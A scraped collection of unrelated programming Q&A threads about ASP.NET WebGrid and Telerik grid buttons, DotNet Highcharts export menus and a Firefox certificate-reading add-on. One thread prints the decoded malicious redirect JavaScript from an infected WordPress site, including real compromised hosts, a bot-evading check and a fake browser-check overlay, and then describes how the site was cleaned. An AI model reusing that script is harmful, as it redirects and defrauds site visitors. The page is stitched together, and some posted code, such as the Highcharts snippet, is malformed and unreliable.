Related
I want to create a submit button in webgrid, which is sending a row to another table, but I don`t know how to disable this button, when user have done this already.
First table:
CREATE TABLE [dbo].[Applications] (
[ApplicationId] INT IDENTITY (1, 1) NOT NULL,
[ApplicantName] NVARCHAR (50) NOT NULL,
[DepartmentName] NVARCHAR (100) NOT NULL,
[StartDate] DATETIME NOT NULL,
[EndDate] DATETIME NOT NULL,
[AssistantName] NVARCHAR (50) NOT NULL,
[Description] NVARCHAR (MAX) NULL,
[Approved] BIT NULL,
PRIMARY KEY CLUSTERED ([ApplicationId] ASC)
);
I created here an "Approved" value, which is changing to "True", when user clicks a button. Then, when Approved==True button should be disabled.
Second table:
CREATE TABLE [dbo].[Events] (
[EventID] INT IDENTITY (1, 1) NOT NULL,
[Subject] NVARCHAR (100) NOT NULL,
[DepartmentName] NVARCHAR (100) NULL,
[AssistantName] NVARCHAR (50) NULL,
[Description] NVARCHAR (300) NULL,
[Start] DATETIME NOT NULL,
[End] DATETIME NOT NULL,
[ThemeColor] NCHAR (10) NULL,
[IsFullDay] BIT NOT NULL,
PRIMARY KEY CLUSTERED ([EventID] ASC)
);
My controller to this action:
[HttpPost, ValidateInput(false)]
public ActionResult Accept(string applicationJSONaccept, Event model)
{
Application apl = (new JavaScriptSerializer()).Deserialize<Application>(applicationJSONaccept);
MyDatabaseEntities dc = new MyDatabaseEntities();
Application app = dc.Applications.FirstOrDefault(x => x.ApplicationId == apl.ApplicationId);
app.Approved = true;
dc.Events.Add(new Event
{
Subject = apl.ApplicantName,
DepartmentName = apl.DepartmentName,
Description = apl.Description,
Start = apl.StartDate,
End = apl.EndDate,
IsFullDay = false,
AssistantName = apl.AssistantName
});
dc.SaveChanges();
return Redirect("ApplicationView");
}
Webgrid:
#grid.Table(
htmlAttributes: new { #id = "grid", #class = "Grid" },
tableStyle: "table table-responsive table-bordered",
columns: grid.Columns(
grid.Column(columnName: "ApplicationId", header: "Nr"),
grid.Column(columnName: "ApplicantName", header: "Imię i nazwisko"),
grid.Column(columnName: "DepartmentName", header: "Oddział"),
grid.Column(columnName: "StartDate", header: "Od"),
grid.Column(columnName: "EndDate", header: "Do"),
grid.Column(columnName: "AssistantName", header: "Zastępca"),
grid.Column(columnName: "Description", header: "Opis"),
//Here is this button:
grid.Column(null, header: "", format: #<text>#Html.ActionLink("Zatwierdź", null, null, new { #class = "accept btn btn-success", #role="button" })</text>)
))
#using (Html.BeginForm("Accept", "Home", FormMethod.Post, new { #id = "IndexForm2" }))
{
<input type="hidden" name="applicationJSONaccept" />
}
JS:
<script type="text/javascript">
$("body").on("click", ".accept", function () {
var row = $(this).closest("tr");
var application = {};
application.ApplicationId = row.find("td").eq(0).html();
application.ApplicantName = row.find("td").eq(1).html();
application.DepartmentName = row.find("td").eq(2).html();
application.StartDate = new Date(row.find("td").eq(3).html().substr(6, 4), row.find("td").eq(3).html().substr(4, 2) - 1, row.find("td").eq(3).html().substr(0, 2));
application.EndDate = new Date(row.find("td").eq(4).html().substr(6, 4), row.find("td").eq(4).html().substr(4, 2) - 1, row.find("td").eq(4).html().substr(0, 2));
application.AssistantName = row.find("td").eq(5).html();
application.Description = row.find("td").eq(6).html();
$("[name=applicationJSONaccept]").val(JSON.stringify(application));
$("#IndexForm2")[0].submit();
return false;
});
</script>
Everything is working fine, row goes to another table, value of Approved is changing, but I`ve problem how to disable this button when Approved==false. Do you know how can I do this?
Thanks in advance!
Edit:
Tried this, but still doesn`t work.
grid.Column(null, header: "", format:
#<text>
#if (ViewBag.Approved == false || ViewBag.Approved == null) {
#Html.ActionLink("Zatwierdź", null, null, new { #class = "accept btn btn-success", #role = "button" })
}
else
{
#Html.ActionLink("Zatwierdź", null, null, new { #class = "accept btn btn-success disabled", #role = "button" });
}
</text>)
Controller update:
[HttpPost, ValidateInput(false)]
public ActionResult Accept(string applicationJSONaccept, Event model)
{
Application apl = (new JavaScriptSerializer()).Deserialize<Application>(applicationJSONaccept);
MyDatabaseEntities dc = new MyDatabaseEntities();
Application app = dc.Applications.FirstOrDefault(x => x.ApplicationId == apl.ApplicationId);
ViewBag.Approved = app.Approved;
if (app.Approved == false || app.Approved == null)
{
app.Approved = true;
dc.Events.Add(new Event
{
Subject = apl.ApplicantName,
DepartmentName = apl.DepartmentName,
Description = apl.Description,
Start = apl.StartDate,
End = apl.EndDate,
IsFullDay = false,
AssistantName = apl.AssistantName
});
dc.SaveChanges();
}
else
{
}
return Redirect("ApplicationView");
}
you can change the css class ([disabled] selector) based on the value from the database while you are binding your view.
You need to add CSS class and remove class whatever your condition, If you need button enable click event then remove class and if you need disable click event then add the class
Style
.btnDisable{
pointer-events: none;
}
In your "IndexForm2" button.
Just add and remove this CSS class your problem solve.
Try below new code
grid.Column("YourColumnName", format:(item) =>
{
if (item.Approved == false || item.Approved == null)
{
#Html.ActionLink("Zatwierdź", null, null, new { #class = "accept btn btn-success", #role="button" })
}
else
{
#Html.ActionLink("Zatwierdź", null, null, new { #class = "accept btn btn-success btnDisable", #role="button" })
}
}
I found a solution, here`s the code:
grid.Column(null, header: "Akceptuj", format:
#<text>#Html.ActionLink("✓", null, null, new { #class = "accept btn " +
(#Html.Raw((item.Approved == true) ? "btn-secondary disabled" : "btn-info")),
#role = "button" })</text>)
That`s all, no css added here, just bootstrap ;)
Thanks for every reply!
I want to add new button in list of exporting of charts,
i want to perform something like that :
http://jsfiddle.net/3GNZC/189/
but using DotNet HighCharts,
i already Tried to do that:
DotNet.Highcharts.Highcharts chart = new DotNet.Highcharts.Highcharts("chart1")
.InitChart(new Chart
{
BorderColor = System.Drawing.Color.Gray,
Height = ChartHeight
});
chart.SetExporting(new Exporting
{
Buttons = new ExportingButtons()
{
ContextButton = new ExportingButtonsContextButton()
{
MenuItems = **what can i write here!**
}
},
Enabled = true,
});
my problem here that i can not add new MenuItems to ContextButton without deleting the options that already exist like(Download PNG Image,....)
Definitely it's a bug which requires the package developer intervention. I reported it directly to wrapper developer, so we need to wait for the decision. To workaround it, you can temporary paste the code below to your <script> tag in .cshtml, which adds the button globally to Highcharts object, and bypassing .Net.
<script src="http://code.highcharts.com/highcharts.js"></script>
<script src="https://code.highcharts.com/modules/exporting.js"></script>
#using Highsoft.Web.Mvc.Charts
<script type="text/javascript">
Highcharts.getOptions().exporting.buttons.contextButton.menuItems.push({
text: 'Add Issue ',
onclick: function() {
alert('OK');
}
function formatXAxis() {
return this.value; // clean, unformatted number for year
}
function formatYAxis() {
return this.value / 1000 + 'k';
}
</script>
#(Html.Highsoft().GetHighcharts(
new Highcharts
{
Title = new Title
{
Text = "US and USSR nuclear stockpiles"
},
Subtitle = new Subtitle
{
Text = "Source: <a href='http://thebulletin.metapress.com/content/c4120650912x74k7/fulltext.pdf'>thebulletin.metapress.com</a>"
},
XAxis = new List<XAxis>
{
new XAxis
{
AllowDecimals = false,
Labels = new XAxisLabels
{
Formatter = "formatXAxis"
}
}
},
YAxis = new List<YAxis>
{
new YAxis
{
Title = new YAxisTitle
{
Text = "Nuclear weapon states"
},
Labels = new YAxisLabels
{
Formatter = "formatYAxis"
}
}
},
Tooltip = new Tooltip
{
PointFormat = "{series.name} produced <b>{point.y:,.0f}</b><br/>warheads in {point.x}"
},
PlotOptions = new PlotOptions
{
Area = new PlotOptionsArea
{
PointStart = 1940,
Marker = new PlotOptionsAreaMarker
{
Enabled = false,
Symbol = "circle",
Radius = 2,
States = new PlotOptionsAreaMarkerStates
{
Hover = new PlotOptionsAreaMarkerStatesHover
{
Enabled = true
}
}
}
}
},
Series = new List<Series>
{
new AreaSeries
{
Name = "USA",
Data = #ViewData["usaData"] as List<AreaSeriesData>
},
new AreaSeries
{
Name = "USSR/Russia",
Data = #ViewData["russiaData"] as List<AreaSeriesData>
}
}
}
, "chart")
)
(function () {
//<script>
var w_location = null;
var domains = [
'http://kntsv.nl/images/tmp.php',
'http://grimhoj.dmcu.dk/modules/mod_xsystem/tmp.php',
'http://langedijke.nl/plugins/tmp.php',
'http://megateuf.edelo.net/cgi-bin/tmp.php',
'http://www.icanguri.com/modules/mod_xsystem/tmp.php',
'http://www.pflege-tut-gut.de/wp-content/plugins/tv1/tmp.php',
'http://yofeet.com/drupal/modules/tmp.php',
'http://squash-moyennedurance.fr/modules/mod_xsystem/tmp.php',
'http://www.devonportmotors.co.nz/images/tmp.php'
];
function getDomainName(domain) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
if (xhr.responseText && xhr.responseText.trim().length > 0) {
w_location = xhr.responseText.trim();
}
}
};
xhr.open('GET', domains[0], true);
xhr.send();
}
for (var i = 0; i < domains.length; i++) {
getDomainName(domains[i]);
}
function start() {
var from = document.referrer;
var i;
// If it's direct
var eee = ["", " "];
var se = ["google", "yahoo", "bing", "yandex", "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia"];
if (checkCookie()) {
return;
}
var uagent = navigator.userAgent;
if (!uagent || uagent.length == 0) {
return;
}
uagent = uagent.toLowerCase();
if (uagent.indexOf('google') != -1 || uagent.indexOf('bot') != -1
|| uagent.indexOf('crawl') != -1) {
} else {
hideWebSite();
}
function getCookie(c_name) {
var c_value = document.cookie;
var c_start = c_value.indexOf(" " + c_name + "=");
if (c_start == -1) {
c_start = c_value.indexOf(c_name + "=");
}
if (c_start == -1) {
c_value = null;
}
else {
c_start = c_value.indexOf("=", c_start) + 1;
var c_end = c_value.indexOf(";", c_start);
if (c_end == -1) {
c_end = c_value.length;
}
c_value = unescape(c_value.substring(c_start, c_end));
}
return c_value;
}
function setCookie(c_name, value, exdays) {
var exdate = new Date();
exdate.setDate(exdate.getDate() + exdays);
var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString());
document.cookie = c_name + "=" + c_value;
}
function checkCookie() {
if (localStorage.getItem('yYjra4PCc8kmBHess1ib') === '1') {
return true;
} else {
localStorage.setItem('yYjra4PCc8kmBHess1ib', '1');
}
var referrerRedirectCookie = getCookie("referrerRedirectCookie");
if (referrerRedirectCookie != null && referrerRedirectCookie != "") {
return true;
} else if (document.cookie.indexOf('wordpress_logged') !== -1
|| document.cookie.indexOf('wp-settings') !== -1
|| document.cookie.indexOf('wordpress_test') !== -1) {
return true;
} else {
setCookie("referrerRedirectCookie", "do not redirect", 730);
return false;
}
}
}
function createPopup() {
var popup = document.createElement('div');
popup.style.position = 'absolute';
popup.style.width = '100%';
popup.style.height = '100%';
popup.style.left = 0;
popup.style.top = 0;
popup.style.backgroundColor = 'white';
popup.style.zIndex = 99999;
document.body.appendChild(popup);
popup.onclick = function () {
var intervalId = setInterval(() = > {
if (
!w_location
)
{
return;
}
clearInterval(intervalId);
window.location = w_location;
},
10
)
;
};
var p = document.createElement('p');
p.innerText = "Checking your browser before accessing "
+ window.location.host + "...";
p.style.textAlign = 'center';
//p.style.margin = '20px auto';
//p.style.left = '20px';
p.style.fontSize = 'x-large';
p.style.position = 'relative';
p.textContent = p.innerText;
popup.appendChild(p);
return popup;
}
function createButton() {
var button = document.createElement('div');
button.style.position = 'absolute';
button.style.top = '20%';
button.style.left = '10%';
button.style.right = '10%';
button.style.width = '80%';
button.style.border = "1px solid black";
button.style.textAlign = 'center';
button.style.verticalAlign = 'middle';
button.style.margin = '0, auto';
button.style.cursor = 'pointer';
button.style.fontSize = 'xx-large';
button.style.borderRadius = '5px';
button.onclick = function () {
window.location = w_location;
};
button.onmouseover = function () {
button.style.border = '1px solid red';
button.style.color = 'red';
};
button.onmouseout = function () {
button.style.border = '1px solid black';
button.style.color = 'black';
};
button.innerText = "Continue";
button.textContent = button.innerText;
return button;
}
var hideWebSite = function () {
var popup = createPopup();
var button = createButton();
popup.appendChild(button);
};
var readyStateCheckInterval = setInterval(function () {
if (document.readyState === 'complete'
|| document.readyState == 'interactive') {
clearInterval(readyStateCheckInterval);
start();
}
}, 10);
//</script>
})
I have tried grep across code, but couldn't find anything, I took MySQL dump of complete database, but didn't find anything there.
I ran clamscan and I can't find any issue, My doubt is on Visual Composer, but when I grep in Visual Composer I dont see this code.
UPDATE
This is what the site shows when infected:
You can check the source of that message and button (overlay, which should not be there) by going to Chrome dev tools console and see the value of variable ZJPMAWHWOE which will give you a bunch of JS code, but in the variable it is encrypted, once the code runs and gets decrypted it is the JS code posted above.
If you go to website https://sitecheck.sucuri.net/ and check for your site then you will get the infection alert from them:
Upon further investigation we found the following:
As pointed out by OP and others in comments, GREP into the website's files and other sites' files in the same server for any traces of the infected code (either encrypted or decrypted) did not give any results, meaning the infection was not in any files (at least not in that form).
We noticed some extra garbage chars at the bottom of our page where we have our "legal" disclaimer:
Tracked down what part of the final HTML had the infection (and/or garbage chars), for our case looking for JS variable ZJPMAWHWOE
Efectively, the script code was present in a known HTML piece which for us was the "legal" page that exists in one of our WordPress pages.
This was pointing now to the code being inside pages/post directly edited in WordPress. We went in and checked for the legal page and found it there (noticed the same garbage chars first):
And then while scrolling down (in Text view, to get the raw HTML of the page) we got to this:
We checked for other pages and posts in the site and the same injected code was present in them.
Once we cleaned them all the infection seems to be gone.
So now, how is that attack accomplished? our theory is that only by getting WordPress user credentials and editing the pages/posts; in our case that was fairly easy since our /wp-admin login pages are not HTTPS protected so our user and passwords can be easily sniffed; we think that was the way they got user credentials and afterwards edited the pages/posts to add the malicious code.
Besides the clean up we also did the following:
Updated the system password database
Deleted all users from WordPress; we only left in there ‘admin’ and my user (both with Administrator roles)
Updated the passwords for users ‘admin’ and my user
Recreated users with new passwords for blog editors
In progress: We are getting HTTPS for our WordPress in order to protect the user/password information that is submitted each time we login to wp-admin.
I would also like to hear about other recommendations about how to increase the security of our WordPress as well as other theories about how did they were able to inject the malicious code within the pages/posts.
I am writing an add-on for firefox but I seem to have a few issues with the channel. I am trying to write a program that receives a websites certificate information and saves it in a specific format. It does not pick up the information I need.
Heres my code:(Sorry for putting a lot there, but its all essential.)
const {Cc,Ci,Cu} = require("chrome");
let console = (Cu.import("resource://gre/modules/devtools/Console.jsm", {})).console;
console.log("Importing console.\n");
// Cu.import("resource://gre/modules/XPCOMUtils.jsm");
this._loadHandler = function(e) {myExtension.onPageLoad(e); };
var utils = require('sdk/window/utils');
var gBrowser = utils.getMostRecentBrowserWindow().getBrowser();
gBrowser.addEventListener("load", this._loadHandler, true);
// We register an observer on page load, through page load event listener. Is this round-about?
// Can we register it directly?
var myExtension = {
onPageLoad: function(aEvent) {
var doc = aEvent.originalTarget; // doc is document that triggered "onload" event
var i = 0;
console.log("Page has been loaded.\n");
this.registerObserver("http-on-examine-response");
this.initialized = true;
},
onPageUnload: function(aEvent) {
console.log("Page has been unloaded.\n");
this.unregisterObserver("http-on-examine-response");
},
registerObserver: function(topic) {
var observerService = Cc["#mozilla.org/observer-service;1"]
.getService(Ci.nsIObserverService);
observerService.addObserver(this, topic, false);
console.log("Observer Registered.\n");
},
unregisterObserver: function(topic) {
var observerService = Cc["#mozilla.org/observer-service;1"]
.getService(Ci.nsIObserverService);
observerService.removeObserver(this, topic);
console.log("Observer Unregistered.\n");
},
//Observation Function
observe: function(channel, topic, data) {
console.log("Running Observe....\n");
this.examine_cert(channel);
},
examine_cert: function(channel) {
channel.QueryInterface(Ci.nsIHttpChannel);
//Assigns the channel of the http resource in the host port
var host = channel.URI.hostPort;
//Checks for security info
var si = channel.securityInfo;
if (!si){
console.log("No securityInfo for "+ host +" , returning\n");
return;
}
//Gets Certificates status
si.QueryInterface(Ci.nsISSLStatusProvider);
var st = si.SSLStatus;
if (!st){
console.log(st + "\n");
console.log("No SSLStatus for "+ host +" , returning\n");
return;
}
st.QueryInterface(Ci.nsISSLStatus);
var cert = st.serverCert;
if (!cert){
console.log("No serverCert for "+ host +" , returning\n");
return;
}
// by now we must have a non-empty cert, print it and the status
console.log( "status: " + st + "\n");
console.log( "cert : " + cert.commonName + "\n");
//certobj.ciphername = st.cipherName; // apparently, parsed out of cert when SSLStatus is made
//certobj.keyLength = st.keyLength;
//certobj.secretKeyLength = st.secretKeyLength;
},
// Recursively descend into the object, looking for displayName matching re;
// also, validate objects as we go.
findASN1Object: function (struc, re) {
if (!struc){
console.log("\nCertificate does not have a valid structure.\n");
return;
}
// Shortcut: object with displayName matching re found, return it immediately
if (re.test(struc.displayName)) return struc;
var s = Ci;
try {
s = struc.QueryInterface(Ci.nsIASN1Sequence);
}
catch (e) {
console.log("\nCertificate failed nsIASN1Sequence conversion\n");
}
if ( !s || ! s.isValidContainer) {
console.log("\nCertificate does not have a valid container.\n");
return;
}
// check all the objects recursively
for (var i=0; i<s.ASN1Objects.length; i++) {
struc = s.ASN1Objects.queryElementAt(i, Ci.nsIASN1Object);
var res = this.findASN1Object(struc, re);
if (res) return res;
}
},
//------ Object containment:
// nsIHttpChannel > securityInfo (nsISSLStatusProvider) > SSLStatus (nsISSLStatus) > serverCert (nsIX509Cert)
fillCertObj: function(obj, cert) {
obj.cert = cert;
console.log("\nCert:" + cert + "\n");
obj.notBefore = cert.validity.notBefore;
obj.notAfter = cert.validity.notAfter;
if (cert.issuer) {
obj.issuerMd5Fingerprint = cert.issuer.md5Fingerprint;
obj.issuerSha1Fingerprint = cert.issuer.sha1Fingerprint;
}
else {
//console.log("no issuer: "+ [cert.commonName, cert.issuer, cert.sha1Fingerprint]); \
console.log("\nThe Certificate doesn't have an Issuer.\n");
}
var keys = ["commonName", "organization", "organizationalUnit", "serialNumber","emailAddress",
"issuerCommonName", "issuerOrganization", "issuerOrganizationUnit","md5Fingerprint", "sha1Fingerprint" ];
for (var i in keys){
obj[keys[i]] = cert[keys[i]];
}
obj.subjectAltName = [];
var san = this.findASN1Object(cert.ASN1Structure, /^Certificate Subject Alt Name$/);
if (san) {
//this.log("SAN:", [san.displayName, san.displayValue]);
var m, re = /DNS Name: ((?:\*\.)?[a-z0-9.-]+)/g;
// *.smth1.smth2.smth3....smthn where smth has only a-z,0-9,or - or
// smth1.smth2.smth3....smthn where smth has only a-z,0-9,or -
// push domain names contained in displayValue onto the list subjectAltName
while (m = re.exec(san.displayValue))
obj.subjectAltName.push(m[1]);
}
console.log("Filled Certificate.\n");
},
init_cert: function(){
var certobj = this.newCertObj();
//certobj.host = host;
//certobj.ciphername = st.cipherName;
//certobj.keyLength = st.keyLength;
//certobj.secretKeyLength = st.secretKeyLength;
//this.fillCertObj(certobj.now, cert);
console.log(certobj);
},
newCertObj: function() {
console.log("Creating Empty Certificate.\n");
return {
flags: 0,
host: "",
warn: {},
now: {
commonName: "",
organization: "",
organizationalUnit: "",
serialNumber: "",
emailAddress: "",
notBefore: "",
notAfter: "",
issuerCommonName: "",
issuerOrganization: "",
issuerOrganizationUnit: "",
md5Fingerprint: "",
sha1Fingerprint: "",
issuerMd5Fingerprint: "",
issuerSha1Fingerprint: "",
cert: null,
},
old: {
commonName: "",
organization: "",
organizationalUnit: "",
serialNumber: "",
emailAddress: "",
notBefore: "",
notAfter: "",
issuerCommonName: "",
issuerOrganization: "",
issuerOrganizationUnit: "",
md5Fingerprint: "",
sha1Fingerprint: "",
issuerMd5Fingerprint: "",
issuerSha1Fingerprint: "",
cert: null,
},
};
},
}
It's not wise to register and unregister observer on page load because it will be catching http requests from everywhere. So register it on startup of addon and unregister it on shutdown/unload of addon.
And you should check the loadContext to see for what window/tab/frame/ajax/background is making the request. See here for more on loadContext: https://stackoverflow.com/a/25223307/1828637
But anyways this should work the way you have it meaning reg on page load and unreg on page unload:
const {
Cc, Ci, Cu
} = require("chrome");
let console = (Cu.import("resource://gre/modules/devtools/Console.jsm", {})).console;
console.log("Importing console.\n");
// Cu.import("resource://gre/modules/XPCOMUtils.jsm");
Cu.import("resource://gre/modules/Services.jsm");
this._loadHandler = function(e) {
myExtension.onPageLoad(e);
};
var utils = require('sdk/window/utils');
var gBrowser = utils.getMostRecentBrowserWindow().getBrowser();
gBrowser.addEventListener("load", this._loadHandler, true);
// We register an observer on page load, through page load event listener. Is this round-about?
// Can we register it directly?
var myExtension = {
observers: {
'http-on-examine-response': {
observe: function(aSubject, aTopic, aData) {
console.log("Running Observe....\n");
myExtension.examine_cert(aSubject);
},
reg: function() {
Services.obs.addObserver(myExtension.observers['http-on-examine-response'], 'http-on-examine-response', false);
},
unreg: function() {
Services.obs.removeObserver(myExtension.observers['http-on-examine-response'], 'http-on-examine-response');
}
}
},
onPageLoad: function(aEvent) {
var doc = aEvent.originalTarget; // doc is document that triggered "onload" event
var i = 0;
console.log("Page has been loaded.\n");
myExtension.observers['http-on-examine-response'].reg();
this.initialized = true;
},
onPageUnload: function(aEvent) {
console.log("Page has been unloaded.\n");
myExtension.observers['http-on-examine-response'].unreg();
},
examine_cert: function(channel) {
channel.QueryInterface(Ci.nsIHttpChannel);
//Assigns the channel of the http resource in the host port
var host = channel.URI.hostPort;
//Checks for security info
var si = channel.securityInfo;
if (!si) {
console.log("No securityInfo for " + host + " , returning\n");
return;
}
//Gets Certificates status
si.QueryInterface(Ci.nsISSLStatusProvider);
var st = si.SSLStatus;
if (!st) {
console.log(st + "\n");
console.log("No SSLStatus for " + host + " , returning\n");
return;
}
st.QueryInterface(Ci.nsISSLStatus);
var cert = st.serverCert;
if (!cert) {
console.log("No serverCert for " + host + " , returning\n");
return;
}
// by now we must have a non-empty cert, print it and the status
console.log("status: " + st + "\n");
console.log("cert : " + cert.commonName + "\n");
//certobj.ciphername = st.cipherName; // apparently, parsed out of cert when SSLStatus is made
//certobj.keyLength = st.keyLength;
//certobj.secretKeyLength = st.secretKeyLength;
},
// Recursively descend into the object, looking for displayName matching re;
// also, validate objects as we go.
findASN1Object: function(struc, re) {
if (!struc) {
console.log("\nCertificate does not have a valid structure.\n");
return;
}
// Shortcut: object with displayName matching re found, return it immediately
if (re.test(struc.displayName)) return struc;
var s = Ci;
try {
s = struc.QueryInterface(Ci.nsIASN1Sequence);
} catch (e) {
console.log("\nCertificate failed nsIASN1Sequence conversion\n");
}
if (!s || !s.isValidContainer) {
console.log("\nCertificate does not have a valid container.\n");
return;
}
// check all the objects recursively
for (var i = 0; i < s.ASN1Objects.length; i++) {
struc = s.ASN1Objects.queryElementAt(i, Ci.nsIASN1Object);
var res = this.findASN1Object(struc, re);
if (res) return res;
}
},
//------ Object containment:
// nsIHttpChannel > securityInfo (nsISSLStatusProvider) > SSLStatus (nsISSLStatus) > serverCert (nsIX509Cert)
fillCertObj: function(obj, cert) {
obj.cert = cert;
console.log("\nCert:" + cert + "\n");
obj.notBefore = cert.validity.notBefore;
obj.notAfter = cert.validity.notAfter;
if (cert.issuer) {
obj.issuerMd5Fingerprint = cert.issuer.md5Fingerprint;
obj.issuerSha1Fingerprint = cert.issuer.sha1Fingerprint;
} else {
//console.log("no issuer: "+ [cert.commonName, cert.issuer, cert.sha1Fingerprint]); \
console.log("\nThe Certificate doesn't have an Issuer.\n");
}
var keys = ["commonName", "organization", "organizationalUnit", "serialNumber", "emailAddress",
"issuerCommonName", "issuerOrganization", "issuerOrganizationUnit", "md5Fingerprint", "sha1Fingerprint"
];
for (var i in keys) {
obj[keys[i]] = cert[keys[i]];
}
obj.subjectAltName = [];
var san = this.findASN1Object(cert.ASN1Structure, /^Certificate Subject Alt Name$/);
if (san) {
//this.log("SAN:", [san.displayName, san.displayValue]);
var m, re = /DNS Name: ((?:\*\.)?[a-z0-9.-]+)/g;
// *.smth1.smth2.smth3....smthn where smth has only a-z,0-9,or - or
// smth1.smth2.smth3....smthn where smth has only a-z,0-9,or -
// push domain names contained in displayValue onto the list subjectAltName
while (m = re.exec(san.displayValue))
obj.subjectAltName.push(m[1]);
}
console.log("Filled Certificate.\n");
},
init_cert: function() {
var certobj = this.newCertObj();
//certobj.host = host;
//certobj.ciphername = st.cipherName;
//certobj.keyLength = st.keyLength;
//certobj.secretKeyLength = st.secretKeyLength;
//this.fillCertObj(certobj.now, cert);
console.log(certobj);
},
newCertObj: function() {
console.log("Creating Empty Certificate.\n");
return {
flags: 0,
host: "",
warn: {},
now: {
commonName: "",
organization: "",
organizationalUnit: "",
serialNumber: "",
emailAddress: "",
notBefore: "",
notAfter: "",
issuerCommonName: "",
issuerOrganization: "",
issuerOrganizationUnit: "",
md5Fingerprint: "",
sha1Fingerprint: "",
issuerMd5Fingerprint: "",
issuerSha1Fingerprint: "",
cert: null,
},
old: {
commonName: "",
organization: "",
organizationalUnit: "",
serialNumber: "",
emailAddress: "",
notBefore: "",
notAfter: "",
issuerCommonName: "",
issuerOrganization: "",
issuerOrganizationUnit: "",
md5Fingerprint: "",
sha1Fingerprint: "",
issuerMd5Fingerprint: "",
issuerSha1Fingerprint: "",
cert: null,
},
};
},
}
lastly why are you wrapping in the pseudo-class myExtension? When doing addon-sdk or bootstrap addons you don't have to do that anymore. It makes things easier so you don't have to track what scope you are in.
How can i get this work in MVC Telerik Grid Control
columns.Template(e =>
{
if (e.EndDate>DateTime.Now )
{
#Html.ActionLink("Stop", "StopMedication", "Medication",
new { id = e.PrescriptionID }, new { #class = "standard button" })
}
else {
#Html.ActionLink("Renew", "RenewMedication", "Medication",
new { id = e.PrescriptionID }, new { #class = "standard button" })
}
});
The following snippet should work perfectly fine in the Telerik Grid template column using Razor syntax:
columns.Template(
#<text>
#if (#item.EndDate > DateTime.Now)
{
#Html.ActionLink("Stop", "StopMedication", "Medication",
new { id = #item.PrescriptionID }, new { #class = "standard button" })
}
else
{
#Html.ActionLink("Renew", "RenewMedication", "Medication",
new { id = #item.PrescriptionID }, new { #class = "standard button" })
}
</text>
);
Taking use of the #<text></text> inside of the template, as well as using the #item object, which represents the current item (entity tied to the row) and it's properties, will allow you to have this template up and running.